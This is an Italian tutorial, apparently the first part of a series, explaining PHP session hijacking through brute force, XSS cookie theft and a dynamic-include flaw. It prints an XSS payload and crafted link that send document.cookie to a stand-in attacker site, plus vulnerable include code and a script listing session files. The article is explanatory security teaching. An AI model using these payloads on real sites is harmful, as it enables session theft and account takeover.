Nessun risultato. Prova con un altro termine.
Guide
Notizie
Software
Tutorial

Spacciarsi per qualcun altro: session hijacking - I

Rubare l'identità altrui, parte prima: attacchi brute force e SID stealing
Rubare l'identità altrui, parte prima: attacchi brute force e SID stealing
Link copiato negli appunti

Non è remota la possibilità che un cracker - nel caso appunto in cui non sussistano altri meccanismi di sicurezza - possa impersonificare l'identità di altri utenti riuscendo in qualche modo ad ottenerne il SID, rubandolo, a sessione dell'utente vittima già iniziata ed attiva, ed usandolo di conseguenza.

Session hijacking - attacchi brute force

Indovinare per tentativi, con attacchi di tipo brute force, una stringa così complessa non è nemmeno proponibile, pensiamo che le combinazioni possibili di una stringa composta di lettere minuscole dell'alfabeto inglese (che sono 26) e numeri (10), lunga 32 caratteri, qual'è il SID, è 36^32, cioè circa 6*10^49. Impronunciabile. E tanti dovrebbero essere i cicli da eseguire (nella quantificazione della complessità di un algoritmo si parla sempre di caso peggiore) per un attacco di forza bruta, sempre che ogni stringa in uscita dall'algoritmo sia equiprobabile.

Ed al riguardo si dice appunto che la "randomizzazione" della stringa che il PHP compie sia molto buona (ci mancherebbe altro, dati gli algoritmi usati!), ovvero PHP non "insiste" maggiormente su alcune stringhe a scapito di altre e non dà quindi appiglio nell'utilizzazione di tali stringhe più probabili.

Session hijacking - steal

Lasciando da parte l'idea di indovinare un SID valido, al fine di rubare in senso stretto tale SID si hanno più metodologie, alcune delle quali introdotte e rese possibili da exploit su vulnerabilità già discusse. Chiameremo Sito_A (sito attaccato) il sito sul quale l'utente_A (utente attaccato) ha una sessione valida e Sito_hack il sito remoto del cracker.

Cross site Scripting

È possibile ottenere il SID di un utente tramite XSS: se Sito_A è esposto a falle sugli XSS e il cracker (che ha anch'egli un login valido su Sito_A) ha inserito il codice di cui sotto in una pagina dello stesso sito, pagina che l'utente_A andrà a visualizzare:

<script language="javascript">
  document.location.href="http://Sito_hack/evil_script.php?data="+document.cookie;
</script>

allora il cracker entrerà in possesso del SID valido.

Che il cracker inserisca codice "staticamente" nel sito è sia improbabile (immaginabile solo per applicazioni quali forum o blog bacati) che pericoloso per lui - l'indirizzo del sito in suo controllo è comunque visibile, codificato o meno. Ed inoltre è una "scocciatura" per il cracker dover avere un login valido sullo stesso sito attaccato.

La soluzione è inviare ad utente_A un link (o simile) di modo che l'utente stesso visualizzi sul suo browser la pagina affetta da XSS puntata dal link.

Tale pagina sarà richiesta tramite i seguenti parametri in GET (che diventeranno codice eseguito dal client) - torniamo a pensare al campo ricerca che ripete quanto in esso immesso nella pagina dei risultati seguente.

http://Sito_A/pagina.php?stringa_da_ricercare=<script>document.location.href=" http://Sito_hack/evil_script.php?data="%2bdocument.cookie;</script>

Salvo log del server il cracker non è rintracciabile, né deve avere login su Sito_A. Certamente, se prima l'utente era incolpevole (o quasi), qui ha la colpa di seguire un link fornitogli da chissà chi e chissà in che modo.

Vulnerabilità su include dinamici

Tramite un include ad hoc e di facilissima implementazione, il cracker può riuscire a visualizzare i file di sessione direttamente dal server e quindi ottenere il SID di tutti gli utenti! Con ogni probabilità, la metodologia di salvare le sessioni su db non può nulla contro questo attacco. Siamo di fronte al massimo grado di pericolosità.

Brevemente, per sessioni "tradizionali": se Sito_A ha una pagina contenente il seguente codice:

if (isset($_GET['include_script'])) include($_GET['include_script']);
// altro_codice;

il cracker (che anche qui è in possesso di login valido anch'egli) richiama quella pagina come già discusso, con l'esito di riuscire ad includere il seguente codice (valido per SO Windows):

$dir = "C:/tmp";
 
$handle = opendir($dir);
while ($nome_file = readdir ($handle))
  {
  if ($nome_file!="." && $nome_file!="..") echo $nome_file." <br/>";
  }

Ebbene, l'output risulta drammatico (per lo staff di Sito_A per lo meno):

000ddcd815b93703f69cdbf6bc7c4580
0023f5751bc2906bb28f06f0356d8ed9
002829c873221584b7736937d76e042d.zip
003eb0a14e094cf832e86bebe370acb3
003fb68604fc8428f086433ddf2f7418
0042f0250bee37f0241c00c47a0a03e6
00aa2905b3283a339284e0bdd64d24deAPR.doc
01689b63a236338cfb9d519e808ee2e2
01a93f54290cda70f1a4340c223f0bef.htm
01b847d6e1eab3f9b8620ee1c848ec4c
022ec4138a0520368f71044852c3fe8a
025cfbb6410610fdf06b0ad5ebf16a56
028d41e64320af61362a3e99405f0dd3.zip
[…]

 

Nella cartella temporanea ci saranno sicuramente file di varia natura, ma quelli di sessione sono effettivamente riconoscibili.


Ti consigliamo anche